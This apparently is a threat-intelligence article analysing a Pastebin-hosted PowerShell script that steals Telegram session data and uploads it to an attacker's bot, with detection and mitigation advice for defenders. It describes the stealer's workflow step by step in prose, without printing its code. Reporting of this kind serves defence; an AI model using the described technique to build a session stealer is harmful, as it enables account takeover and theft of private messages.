Pastebin-Hosted PowerShell Script Hijacks Telegram Sessions: What Happened and How to Respond

Illustration of Telegram session stealer

Security researchers recently uncovered a PowerShell script posted on Pastebin that was purpose-built to steal Telegram session data from both desktop and web clients. Masquerading as a benign “Windows Telemetry Update,” the script quietly collects host metadata, locates Telegram session stores, compresses them into an archive, and exfiltrates the file to an attacker-controlled Telegram bot. The discovery is notable less for raw sophistication than for the clear window it provides into how an attacker iteratively developed and validated a session-stealing capability in public view.

How the campaign was discovered

Flare analysts found the script while monitoring paste sites and illicit channels for malicious content. The same Pastebin account published two versions: an initial, broken v1 and a corrected v2. Because the posts and their edit history were public, researchers were able to observe the operator diagnose failures and roll out fixes, revealing development artifacts such as hardcoded credentials and debugging traces. At the time of discovery the code lacked obfuscation, persistence, or an automated delivery mechanism — suggesting it was still in testing rather than deployed at scale — but the functional v2 and related web-based stealer infrastructure indicate the capability could be weaponized.

Technical breakdown: what the script does

The script begins by gathering basic host metadata (username, computer name, public IP via api.ipify[.]org). It then checks for Telegram Desktop installations under %APPDATA%Telegram Desktop and %APPDATA%Telegram Desktop Beta, appending found tdata paths into an array. If no Telegram data paths exist, the script still notifies the operator with a “No Telegram installation found” beacon, meaning every execution reports back to the bot.

If session data is present, the script forcibly terminates Telegram to release file locks, waits briefly, and compresses the tdata folder into a diag.zip file in the TEMP directory. The payload then attempts to upload diag.zip to the operator via the Telegram Bot API (api.telegram.org/bot{token}/sendDocument), attaching the victim metadata as a caption. v1’s multipart upload implementation was flawed and failed to reach the bot; v2 fixes this by correctly implementing multipart/form-data encoding (Invoke-RestMethod-Form) and falling back to a WebClient UploadFile method if needed. After upload, the script deletes the local diag.zip to reduce forensic traces.

Related web-based stealer component

A separate component targeting Telegram Web was observed exfiltrating localStorage session artifacts — specifically MTProto dcX_auth_key values and account1 session structures — to the same bot channel. With those keys an attacker can reconstitute an authenticated session without passwords or SMS verification, giving immediate access to a victim’s account history and contacts.

Why the public debugging trail matters

Seeing v1 fail publicly and v2 succeed provides a rare, instructive look into how low-to-mid-skill operators test and refine tooling. Hardcoded tokens and visible error traces expose operator habits and infrastructure, and the public iteration suggests the operator intends eventual operational use. The absence of obfuscation and automated delivery points to either novice tradecraft or a testing phase; either way, the capability exists and could be adopted or enhanced by other threat actors.

Impact and risk scenarios

Account takeover: Exfiltrated tdata or localStorage keys allow attackers to hijack sessions, impersonate users, and access private chats and files.
Lateral exposure: Compromised Telegram accounts are often linked to other services or used for credential reuse, raising downstream risks.
Enterprise visibility blind spots: Scripted use of sendDocument and sendMessage via PowerShell or similar tooling is anomalous in managed environments and can bypass standard user-based detection if not monitored at the network/API level.

Detection and mitigation recommendations for defenders

Immediate containment steps for users: From Telegram’s settings, terminate all active sessions (Settings → Privacy and Security → Active Sessions → Terminate All Other Sessions), change passwords, and enable two-factor authentication. Review account activity and messages for unauthorized actions.
Endpoint detection: Monitor for PowerShell executions that compress APPDATA tdata folders, kill Telegram processes, or make outbound POSTs to api.telegram.org from scripting contexts. Alert on unusual use of Invoke-RestMethod or WebClient to remote APIs carrying file uploads.
Network-level controls: Where policy allows, block api.telegram.org and web.telegram.org at the proxy or firewall. In environments where Telegram is permitted, watch for sendDocument/sendMessage API calls originating from nonstandard hosts or scripting runtimes.
Secrets hygiene: Rotate any exposed tokens or bot credentials discovered in public artifacts. Treat hardcoded credentials in paste sites as indicators of compromise and investigate related infrastructure.
Forensics: If execution is suspected, preserve the device image immediately. Even if diag.zip was deleted, other artifacts (process termination events, PowerShell command history, network logs) may remain.

Advice for users and admins

Educate users to distrust executables labeled as “telemetry” or “update” when sourced from untrusted locations. Legitimate Windows updates are delivered through Windows Update and system management tools, not pasted PowerShell on public sites.
Reduce unnecessary administrative privileges that allow users to run scripts modifying APPDATA or terminating running processes.
Enable and enforce multi-factor authentication for Telegram and any other sensitive services that support it.
Log and monitor PowerShell usage centrally (e.g., Sysmon, Windows Event Forwarding) and enable script block logging where feasible to catch suspicious commands.

Final thoughts

This Pastebin-hosted PowerShell stealer is a timely reminder that threat actors increasingly test and refine capabilities in public venues, and that session tokens — not just passwords — are a valuable target. Rapid detection, network controls around API access, and user hygiene (terminating sessions and enabling MFA) are the most effective immediate defenses. Security teams should treat anomalous API calls from scripting environments as high-priority alerts and pursue containment and forensic investigation without delay.